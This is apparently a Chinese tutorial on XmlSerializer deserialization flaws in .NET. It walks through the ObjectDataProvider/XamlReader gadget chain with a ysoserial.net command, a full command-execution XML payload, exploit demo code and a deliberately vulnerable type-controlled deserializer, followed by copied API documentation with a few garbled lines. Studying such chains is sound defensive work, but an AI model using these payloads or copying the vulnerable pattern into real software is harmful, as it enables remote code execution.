序列化是将对象状态转换为可保持或传输的形式的过程。序列化的补集是反序列化,后者将流转换为对象。这两个过程一起保证能够存储和传输数据。
一、概念描述
将对象序列化为 XML 文档,或从 XML 文档反序列化对象。XmlSerializer使能够控制如何将对象编码为 XML。
在attacking-net-serialization其中列举了多种反序列化漏洞。
NET 提供三种序列化技术:
undefined 二进制序列化:保持类型完整性,适用于在多次调用应用程序时保持对象状态。可以将对象序列化到流、磁盘、内存和网络中,用于在计算机或应用程序域之间按值传递对象。
undefined XML 和 SOAP 序列化:仅序列化公共属性和字段,不保持类型完整性。适合在不限制数据使用的情况下共享数据,XML和SOAP作为开放标准,非常适合通过Web共享数据。
undefined JSON 序列化:仅序列化公共属性,不保持类型完整性。JSON是开放标准,非常适合通过Web共享数据。
二、XmlSerializer反序列化
在C#中,XML序列化用于将对象的公共字段和属性转换为XML格式,以便存储或传输。它使用XmlSerializer类,通过Serialize和Deserialize方法实现序列化和反序列化。XML作为开放标准,支持跨平台处理,例如在ASP.NET的XML Web services中应用。更多信息可以参考微软官网。
1、序列化实例
[XmlRoot("test")]指定的元素将被序列化成xml的根元素,[XmlElement]为指定类的公共域或读/写属性,
namespace XmlSerializers
{
class Program
{
static void Main(string[] args)
{
test fof = new test();
fof.id = "404s";
XmlSerializer xmlFormatter = new XmlSerializer(typeof(test));
using (Stream stream = new FileStream("404.xml", FileMode.Create, FileAccess.Write, FileShare.None))
{
xmlFormatter.Serialize(stream, fof);
}
}
}
[XmlRoot("test")]
public class test
{
string _id = "404";
[XmlElement]
public string id {
get { return _id; }
set
{
_id = value;
}
}
}
}
xml文件。
<?xml version="1.0"?>
<test xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<id>404s</id>
</test>
2、反序列化实例
System.Xml.Serialization.XmlSerializer 类用于将对象序列化为 XML 文档或从 XML 文档反序列化对象。在构造 XmlSerializer 时,需要指定要处理的类型 XmlSerializer(Type)。该类型包含数据、属性和方法的信息。如果传入特定的 Type,即可调用其方法。
以下是一个xml序列化和反序列化的实例:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net.Http.Headers;
using System.Text;
using System.Threading.Tasks;
using System.Xml.Serialization;
namespace serXml
{
[Serializable]
public class Person
{
public Person()
{
Console.WriteLine("无参构造");
}
public Person(string name, string age)
{
Name = name;
Age = age;
}
public string Name { get; set; }
public string Age { get; set; }
}
internal class Program
{
static void Main(string[] args)
{
Person p = new Person("moonsec","20");
Console.WriteLine(p.Name);
Console.WriteLine(p.Age);
Xmlserialize(p);
Console.ReadKey();
}
public static void Xmlserialize(object p)
{
var xmlFormatter = new XmlSerializer(typeof(Person));
using (var stream = new MemoryStream())
using (var fs = new FileStream("ser.xml", FileMode.OpenOrCreate))
using (var sr = new StreamReader(stream))
using (var sw = new StreamWriter(fs))
{
//序列化
xmlFormatter.Serialize(stream, p);
stream.Position = 0;
while (sr.EndOfStream == false)
{
var content = sr.ReadLine();
sw.WriteLine(content);
Console.WriteLine(content);
}
stream.Position = 0;
// 反序列化
Person newP = (Person)xmlFormatter.Deserialize(stream);
Console.WriteLine(newP.Name);
Console.WriteLine(newP.Age);
}
}
}
}
运行,发现成功输出。
可使用 XmlSerializer 类对以下各项进行序列化:
●公共类的公共读/写属性和字段
●执行 ICollection 或 IEnumerable 的类 (仅序列化集合,不序列化公共属性)
●XmlElement 对象
●XmlNode 对象
●DataSet 对象
3、序列化对象
在反序列化对象时,传输格式可以是创建流或者文件对象。反序列化对象过程分为两步:
1.使用要反序列化的对象的类型构造 XmlSerializer。
2.调用 Deserialize 方法以生成该对象的副本。在反序列化时,必须将返回的对象强制转换为原始对象的类型。
var xmlFormatter = new XmlSerializer(typeof(Person));
构造XmlSerializer对象期间需要指定它将处理的类型XmlSerializer(Type),获取Type有一般有有3种方式:a.使用typeof运算符 b.使用GetType()方法 c.使用Type类的静态方法GetType()。
static void Main(string[] args)
{
using (StringReader rdr = new StringReader("<?xml version=\"1.0\" encoding=\"gb2312\"?> <ExecCMD xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"> <cmd>cmd.exe</cmd> </ExecCMD>"))
{
ExecCMD execCMD;
XmlSerializer serializer = new XmlSerializer(typeof(ExecCMD));
execCMD = (ExecCMD)serializer.Deserialize(rdr);
Console.WriteLine(execCMD.cmd);
Console.WriteLine(typeof(ExecCMD));
}
}
运行结果如下:
上文中与第一步相对应的代码为:
public static void deserializeObjectWithXml()
{
XmlSerializer ser = new XmlSerializer(typeof(Person));
TextReader tr = new StreamReader("ser.xml");
Person newP = (Person)ser.Deserialize(tr);
Console.WriteLine(newP.Name);
Console.WriteLine(newP.Age);
tr.Close();
}
接着进行运行尝试。
这也是反序列化漏洞需要注意的地方,new XmlSerializer(type) 构造方法里所传的参数来自 System.Type 类,通过这个类可以访问关于任意数据类型的信息,如果type可控,就很可能存在反序列化漏洞。指向任何给定类型的 Type 引用有以下三种方式:
XmlSerializer xmlSerializer = new XmlSerializer(typeof(Person));// typeof()
XmlSerializer xmlSerializer1 = new XmlSerializer(p.GetType()); // 对象的GetType()方法
XmlSerializer xmlSerializer2 = new XmlSerializer(Type.GetType("serXml.Person")); //使用命名空间加类名
三、ObjectDataProvider攻击链
ObjectDataProvider用于包装和创建可以用作绑定源的对象,听起来比较抽象,可以理解为可以调用一个方法,并且传入参数。
以下是一个完整的反序列化命令执行实例,执行后会弹出计算器:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net.Http.Headers;
using System.Text;
using System.Threading.Tasks;
using System.Xml;
using System.Xml.Serialization;
namespace serXml
{
[Serializable]
public class Person
{
public Person()
{
Console.WriteLine("无参构造");
}
public Person(string name, string age)
{
Name = name;
Age = age;
}
public string Name { get; set; }
public string Age { get; set; }
}
internal class Program
{
static void Main(string[] args)
{
Person p = new Person("moonsec","20");
Console.WriteLine(p.Name);
Console.WriteLine(p.Age);
// Xmlserialize(p);
deserializeObjectWithXmlSer();
Console.ReadKey();
}
public static void Xmlserialize(object p)
{
var xmlFormatter = new XmlSerializer(typeof(Person));
using (var stream = new MemoryStream())
using (var fs = new FileStream("ser.xml", FileMode.OpenOrCreate))
using (var sr = new StreamReader(stream))
using (var sw = new StreamWriter(fs))
{
//序列化
xmlFormatter.Serialize(stream, p);
stream.Position = 0;
while (sr.EndOfStream == false)
{
var content = sr.ReadLine();
sw.WriteLine(content);
Console.WriteLine(content);
}
stream.Position = 0;
// 反序列化
Person newP = (Person)xmlFormatter.Deserialize(stream);
Console.WriteLine(newP.Name);
Console.WriteLine(newP.Age);
}
}
public static void deserializeObjectWithXmlSer()
{
//读取xml文本
var fs = new FileStream("ser.xml", FileMode.OpenOrCreate);
var sr = new StreamReader(fs);
string txt = "";
while (!sr.EndOfStream)
{
string str = sr.ReadLine();
txt += str;
}
sr.Close();
//加载xml
var xmldoc = new XmlDocument();
xmldoc.LoadXml(txt);
string typeName;
XmlTextReader reader;
foreach (XmlElement xmlItem in xmldoc.SelectNodes("root"))
{
typeName = xmlItem.GetAttribute("type");
//从xml中获取type节点
reader = new XmlTextReader(new StringReader(xmlItem.InnerXml));
XmlSerializer ser = new XmlSerializer(Type.GetType(typeName));
//创建XmlSerializer
ser.Deserialize(reader);
//执行反序列化
}
}
}
}
poc.xml来自ysoserial.net,对于xml反序列化最经典的就是ObjectDataProvider链,使用ysoserial.net生成
ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c "calc" -o raw
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
成功弹出计算器。
1、POC分析
整个POC主要分为三个部分:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Data;
namespace demo1
{
internal class Program
{
static void Main(string[] args)
{
var objDat = new ObjectDataProvider();
objDat.ObjectInstance = new Process();
objDat.MethodParameters.Add("calc");
objDat.MethodName = "Start";
}
}
}
这段代码首先创建ObjectDataProvider实例,然后将ObjectInstance设置为Process对象,使用MethodParameters.Add添加参数,MethodName指定调用的方法。运行效果如下图:
有了ObjectDataProvider我们貌似可以尝试执行命令了,但是ObjectDataProvider不可直接序列化,我们需要做一层包装,这时候就用到了ExpandedWrapper类,它的作用就是扩展类的属性。
这证明了实现ExpandedWrapper()对象并添加方法参数即可触发命令执行。
但直接包装Process进行反序列化时依然会报错,因为XmlSerializer无法序列化Process。
public static void derializeXmlSer()
{
ExpandedWrapper<Process, ObjectDataProvider> obj = new ExpandedWrapper<Process, ObjectDataProvider>();
XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper<Process, ObjectDataProvider>));
obj.ProjectedProperty0 = new ObjectDataProvider();
obj.ProjectedProperty0.ObjectInstance = new Process();
obj.ProjectedProperty0.MethodParameters.Add("Calc");
obj.ProjectedProperty0.MethodName = "Start";
}
我们可以自己写一个恶意类,来证明此方法确实可行。
在前面示例的Person类中,我们添加如下方法,此方法调用Process执行cmd.exe /c calc。
public void Shellcmd(string cmd)
{
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c " + cmd;
process.Start();
}
2、序列化分析
public static void Xmlserialize(object p)
{
var xmlFormatter = new XmlSerializer(typeof(ExpandedWrapper<Person, ObjectDataProvider>));
using (var stream = new MemoryStream())
using (var fs = new FileStream("ser.xml", FileMode.OpenOrCreate))
using (var sr = new StreamReader(stream))
using (var sw = new StreamWriter(fs))
{
//序列化
xmlFormatter.Serialize(stream, p);
stream.Position = 0;
while (sr.EndOfStream == false)
{
var content = sr.ReadLine();
sw.WriteLine(content);
Console.WriteLine(content);
}
生成的xml文件
<?xml version="1.0"?>
<ExpandedWrapperOfPersonObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ProjectedProperty0>
<ObjectInstance xsi:type="Person" />
<MethodName>Shellcmd</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">Calc</anyType>
</MethodParameters>
</ProjectedProperty0>
</ExpandedWrapperOfPersonObjectDataProvider>
反序列化对象 调用 Shellcmd
public static void deserializeXml()
{
XmlSerializer ser = new XmlSerializer(typeof(ExpandedWrapper<Person, ObjectDataProvider>));
TextReader tr= new StreamReader("ser.xml");
ser.Deserialize(tr);
tr.Close();
}
由于ObjectDataProvider可以调用Process.Start,但是不能直接序列化,所以我们需要找到一个途径来间接调用Process.Start。
3、执行截图
把Person类换成系统类执行命令,查看poc.xml可以发现这里引入了XamlReader类并调用了Parse方法。成功弹出计算器。
四、XamlReader
XamlReader他有一个方法Parse(String) 是传入一个字符串,返回根对象,那么我们用ObjectDataProvider构造传参一个XAML,同时XAML的ObjectDataProvider调用Process.Start那么利用链就成功了。
1、ResourceDictionary
要生成XAML还需要引用ResourceDictionary类。
ResourceDictionary即资源字典,用于wpf开发,既然是wpf,肯定涉及到xaml语言,关于wpf和xaml的知识点需要自行去了解学习
而这里的话XamlReader实现WPF对象的反序列化,XamlReader的用处就是读取XAML输入并创建对象图。
XamlReader.Parse方法读取指定文本字符串中的XAML输入,并返回与指定标记的根对应的对象。
那么这里的话就可以通过XamlReader通过调用parse方法来解析ResourceDictionary
ExpandedWrapper可以被XmlSerializer序列化,同时XAML还可以通过XamlReader.Parse实现反序列化返回ExpandedWrapper对象。构造的恶意ExpandedWrapper会调用Process进行命令执行.
ResourceDictionary
ResourceDictionary又称资源字典,使用xaml语法
以下是执行命令的ResourceDictionary执行命令的一个payload
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
1 xmlns:c 引用了System.Diagnostics命名空间起别名为c
2 d:Key="" 起别名为空,在xaml语法中,Key这个键值必须有。
3 ObjectType表示对象类型
4 d:Type 等同于typeof()
5 MethodName是ObjectDataProvider的属性,传递一个Start等于调用Start方法。
6 c:Process 等同于System.Diagnostics.Process
引用dll PresentationFramework.dll
using System;
using System.Windows.Markup;
namespace XamlReaderDemo
{
internal class Program
{
static void Main(string[] args)
{
string xaml = "<ResourceDictionary \r\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" \r\n xmlns:d=\"http://schemas.microsoft.com/winfx/2006/xaml\" \r\n xmlns:b=\"clr-namespace:System;assembly=mscorlib\" \r\n xmlns:c=\"clr-namespace:System.Diagnostics;assembly=system\">\r\n <ObjectDataProvider d:Key=\"\" ObjectType=\"{d:Type c:Process}\" MethodName=\"Start\">\r\n <ObjectDataProvider.MethodParameters>\r\n <b:String>cmd</b:String>\r\n <b:String>/c calc</b:String>\r\n </ObjectDataProvider.MethodParameters>\r\n </ObjectDataProvider>\r\n</ResourceDictionary>";
XamlReader.Parse(xaml);
Console.ReadKey();
}
}
}
2、详细分析
执行结果如下。
利用链:XmlSerializer->XamlReader->ExpandedWrapper->ObjectDataProvider->Process
怎么串联起来的具体可以看yso生成的POC
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
稍微总结下在XmlSerializer反序列化中想要进行利用的话,那么就需要满足如下两个条件
● 如果是在通过XmlSerializer来进行反序列化的时候,这个情况下的new XmlSerializer(type)的type可控,并且反序列化的数据也可控,那么可以利用进行RCE.
先是ExpandedWrapper<XamlReader, ObjectDataProvider>执行了XamlReader.Parse()去解析xaml,xaml构造的是ExpandedWrapper<Process, ObjectDataProvider>
在ExpandedWrapper中执行的时候会去调用Process.Start()来执行 calc
使用这种方式去序列化ObjectDataProvider。
class MySurrogateSelector : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type,
StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
static void Surrogatetest()
{
var objDat = new ObjectDataProvider();
objDat.ObjectInstance = new System.Diagnostics.Process();
objDat.MethodParameters.Add("calc");
objDat.MethodName = "Start";
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
fmt.SurrogateSelector = new MySurrogateSelector();
fmt.Serialize(stm, objDat);
stm.Position = 0;
var fmt2 = new BinaryFormatter();
ObjectDataProvider result = (ObjectDataProvider)fmt2.Deserialize(stm);
//result.Refresh();
}
测试结果发现是不可以的,结果如下图所示
根据上面的总结,我们可以推断在XmlSerializer方法中在反序列化的过程中是有对methodParameters相关的操作的,最终会触发ObjectDataProvider中的任意方法调用
测试代码:
以下示例包含两个主要类:PurchaseOrder和Test。该类PurchaseOrder包含有关单笔购买的信息。该类Test包含创建采购订单和读取已创建采购订单的方法。
using System;
using System.Xml;
using System.Xml.Serialization;
using System.IO;
/* The XmlRootAttribute allows you to set an alternate name
(PurchaseOrder) of the XML element, the element namespace; by
default, the XmlSerializer uses the class name. The attribute
also allows you to set the XML namespace for the element. Lastly,
the attribute sets the IsNullable property, which specifies whether
the xsi:null attribute appears if the class instance is set to
a null reference. */
[XmlRootAttribute("PurchaseOrder", Namespace="http://www.cpandl.com",
IsNullable = false)]
public class PurchaseOrder
{
public Address ShipTo;
public string OrderDate;
/* The XmlArrayAttribute changes the XML element name
from the default of "OrderedItems" to "Items". */
[XmlArrayAttribute("Items")]
public OrderedItem[] OrderedItems;
public decimal SubTotal;
public decimal ShipCost;
public decimal TotalCost;
}
public class Address
{
/* The XmlAttribute instructs the XmlSerializer to serialize the Name
field as an XML attribute instead of an XML element (the default
behavior). */
[XmlAttribute]
public string Name;
public string Line1;
/* Setting the IsNullable property to false instructs the
XmlSerializer that the XML attribute will not appear if
the City field is set to a null reference. */
[XmlElementAttribute(IsNullable = false)]
public string City;
public string State;
public string Zip;
}
public class OrderedItem
{
public string ItemName;
public string Description;
public decimal UnitPrice;
public int Quantity;
public decimal LineTotal;
/* Calculate is a custom method that calculates the price per item,
and stores the value in a field. */
public void Calculate()
{
LineTotal = UnitPrice * Quantity;
}
}
public class Test
{
public static void Main()
{
// Read and write purchase orders.
Test t = new Test();
t.CreatePO("po.xml");
t.ReadPO("po.xml");
}
private void CreatePO(string filename)
{
// Create an instance of the XmlSerializer class;
// specify the type of object to serialize.
XmlSerializer serializer =
new XmlSerializer(typeof(PurchaseOrder));
TextWriter writer = new StreamWriter(filename);
PurchaseOrder po=new PurchaseOrder();
// Create an address to ship and bill to.
Address billAddress = new Address();
billAddress.Name = "Teresa Atkinson";
billAddress.Line1 = "1 Main St.";
billAddress.City = "AnyTown";
billAddress.State = "WA";
billAddress.Zip = "00000";
// Set ShipTo and BillTo to the same addressee.
po.ShipTo = billAddress;
po.OrderDate = System.DateTime.Now.ToLongDateString();
// Create an OrderedItem object.
OrderedItem i1 = new OrderedItem();
i1.ItemName = "Widget S";
i1.Description = "Small widget";
i1.UnitPrice = (decimal) 5.23;
i1.Quantity = 3;
i1.Calculate();
// Insert the item into the array.
OrderedItem [] items = {i1};
po.OrderedItems = items;
// Calculate the total cost.
decimal subTotal = new decimal();
foreach(OrderedItem oi in items)
{
subTotal += oi.LineTotal;
}
po.SubTotal = subTotal;
po.ShipCost = (decimal) 12.51;
po.TotalCost = po.SubTotal + po.ShipCost;
// Serialize the purchase order, and close the TextWriter.
serializer.Serialize(writer, po);
writer.Close();
}
protected void ReadPO(string filename)
{
// Create an instance of the XmlSerializer class;
// specify the type of object to be deserialized.
XmlSerializer serializer = new XmlSerializer(typeof(PurchaseOrder));
/* If the XML document has been altered with unknown
nodes or attributes, handle them with the
UnknownNode and UnknownAttribute events.*/
serializer.UnknownNode+= new
XmlNodeEventHandler(serializer_UnknownNode);
serializer.UnknownAttribute+= new
XmlAttributeEventHandler(serializer_UnknownAttribute);
// A FileStream is needed to read the XML document.
FileStream fs = new FileStream(filename, FileMode.Open);
// Declare an object variable of the type to be deserialized.
PurchaseOrder po;
/* Use the Deserialize method to restore the object's state with
data from the XML document. */
po = (PurchaseOrder) serializer.Deserialize(fs);
// Read the order date.
Console.WriteLine ("OrderDate: " + po.OrderDate);
// Read the shipping address.
Address shipTo = po.ShipTo;
ReadAddress(shipTo, "Ship To:");
// Read the list of ordered items.
OrderedItem [] items = po.OrderedItems;
Console.WriteLine("Items to be shipped:");
foreach(OrderedItem oi in items)
{
Console.WriteLine("\t"+
oi.ItemName + "\t" +
oi.Description + "\t" +
oi.UnitPrice + "\t" +
oi.Quantity + "\t" +
oi.LineTotal);
}
// Read the subtotal, shipping cost, and total cost.
Console.WriteLine("\t\t\t\t\t Subtotal\t" + po.SubTotal);
Console.WriteLine("\t\t\t\t\t Shipping\t" + po.ShipCost);
Console.WriteLine("\t\t\t\t\t Total\t\t" + po.TotalCost);
}
protected void ReadAddress(Address a, string label)
{
// Read the fields of the Address object.
Console.WriteLine(label);
Console.WriteLine("\t"+ a.Name );
Console.WriteLine("\t" + a.Line1);
Console.WriteLine("\t" + a.City);
Console.WriteLine("\t" + a.State);
Console.WriteLine("\t" + a.Zip );
Console.WriteLine();
}
private void serializer_UnknownNode
(object sender, XmlNodeEventArgs e)
{
Console.WriteLine("Unknown Node:" + e.Name + "\t" + e.Text);
}
private void serializer_UnknownAttribute
(object sender, XmlAttributeEventArgs e)
{
System.Xml.XmlAttribute attr = e.Attr;
Console.WriteLine("Unknown attribute " +
attr.Name + "='" + attr.Value + "'");
}
}
五、代码案例
1、控制生成的 XML
要控制生成的 XML,您可以将特殊属性应用于类和成员。例如,要指定不同的 XML 元素名称,请将 XmlElementAttribute应用于公共字段或属性,并设置ElementName属性。
如果生成的 XML 必须符合万维网联盟文档第 5 节“简单对象访问协议 (SOAP) 1.1”,则必须使用 XmlTypeMapping构造 XmlSerializer 。要进一步控制编码的 SOAP XML,请使用控制编码 SOAP 序列化的属性中列出的属性。
使用XmlSerializer,您可以充分利用强类型类的优势,同时仍具有 XML 的灵活性。使用强类型类中的XmlElement、XmlAttribute或XmlNode类型的字段或属性,您可以将 XML 文档的各部分直接读入 XML 对象。
如果属性或字段返回复杂对象(例如数组或类实例),XmlSerializer会将其转换为嵌套在主 XML 文档中的元素。例如,以下代码中的第一个类返回第二个类的实例。
public class MyClass
{
public MyObject MyObjectProperty;
}
public class MyObject
{
public string ObjectName;
}
序列化的 XML 输出如下所示:
<MyClass>
<MyObjectProperty>
<ObjectName>My String</ObjectName>
</MyObjectProperty>
</MyClass>
如果架构包含可选元素 (minOccurs = '0'),或者架构包含默认值,则您有两个选项。一个选项是使用System.ComponentModel.DefaultValueAttribute指定默认值,如以下代码所示
public class PurchaseOrder
{
[System.ComponentModel.DefaultValueAttribute ("2002")]
public string Year;
}
另一个选项是使用特殊模式创建XmlSerializer可识别的布尔字段,并将XmlIgnoreAttribute应用于该字段。该模式以 的形式创建propertyNameSpecified。例如,如果有一个名为“MyFirstName”的字段,您还将创建一个名为“MyFirstNameSpecified”的字段,该字段指示 XmlSerializer是否生成名为“MyFirstName”的 XML 元素。以下示例显示了这一点。
public class OptionalOrder
{
// This field should not be serialized
// if it is uninitialized.
public string FirstOrder;
// Use the XmlIgnoreAttribute to ignore the
// special field named "FirstOrderSpecified".
[System.Xml.Serialization.XmlIgnoreAttribute]
public bool FirstOrderSpecified;
}
2、覆盖默认序列化
可以通过创建适当的属性之一并将其添加到XmlAttributes类的实例来覆盖任何一组对象及其字段和属性的序列化。以这种方式覆盖序列化有两个用途:首先,您可以控制和增强 DLL 中找到的对象的序列化,即使您无权访问源;其次,您可以创建一组可序列化的类,但以多种方式序列化对象。有关更多详细信息,请参阅 XmlAttributeOverrides 类和如何:控制派生类的序列化。
要序列化对象,请调用Serialize方法。要反序列化对象,请调用Deserialize方法。
要将 XML 命名空间添加到 XML 文档,请参阅XmlSerializerNamespaces。
对于实现ICollection 的类,要序列化的值是从索引属性中检索的,而不是通过调用来检索。AddAddCurrentGetEnumeratorItemCountAddItemItemGetEnumerator
必须具有写入临时目录(由 TEMP 环境变量定义)的权限才能反序列化对象。
3、动态生成的程序集
为了提高性能,XML 序列化基础结构会动态生成程序集以序列化和反序列化指定类型。基础结构会查找并重用这些程序集。仅当使用以下构造函数时才会发生此行为:
XmlSerializer.XmlSerializer(类型)
XmlSerializer.XmlSerializer(类型,字符串)
如果使用任何其他构造函数,则会生成同一程序集的多个版本,并且永远不会卸载,这会导致内存泄漏和性能不佳。最简单的解决方案是使用前面提到的两个构造函数之一。否则,您必须将程序集缓存在 Hashtable 中,如以下示例所示。
Hashtable serializers = new Hashtable();
// Use the constructor that takes a type and XmlRootAttribute.
XmlSerializer s = new XmlSerializer(typeof(MyClass), myRoot);
// Implement a method named GenerateKey that creates unique keys
// for each instance of the XmlSerializer. The code should take
// into account all parameters passed to the XmlSerializer
// constructor.
object key = GenerateKey(typeof(MyClass), myRoot);
// Check the local cache for a matching serializer.
XmlSerializer ser = (XmlSerializer)serializers[key];
if (ser == null)
{
ser = new XmlSerializer(typeof(MyClass), myRoot);
// Cache the serializer.
serializers[key] = ser;
}
// Use the serializer to serialize or deserialize.
4、ArrayList 和泛型列表的序列化
XmlSerializer无法序列化或反序列化以下内容:
● ArrayList数组
● List<>数组
5、无符号长整型枚举的序列化
如果满足以下条件,则无法实例化 XmlSerializer 来序列化枚举:枚举的类型为 unsigned long(在C# 中),并且枚举包含任何值大于 9,223,372,036,854,775,807 的成员。例如,以下内容无法序列化。ulong
public enum LargeNumbers: ulong
{
a = x
}
// At run time, the following code will fail.
xmlSerializer mySerializer=new XmlSerializer(typeof(LargeNumbers));
6、过时的类型
XmlSerializer类不会序列化标记为 的对象[Obsolete]。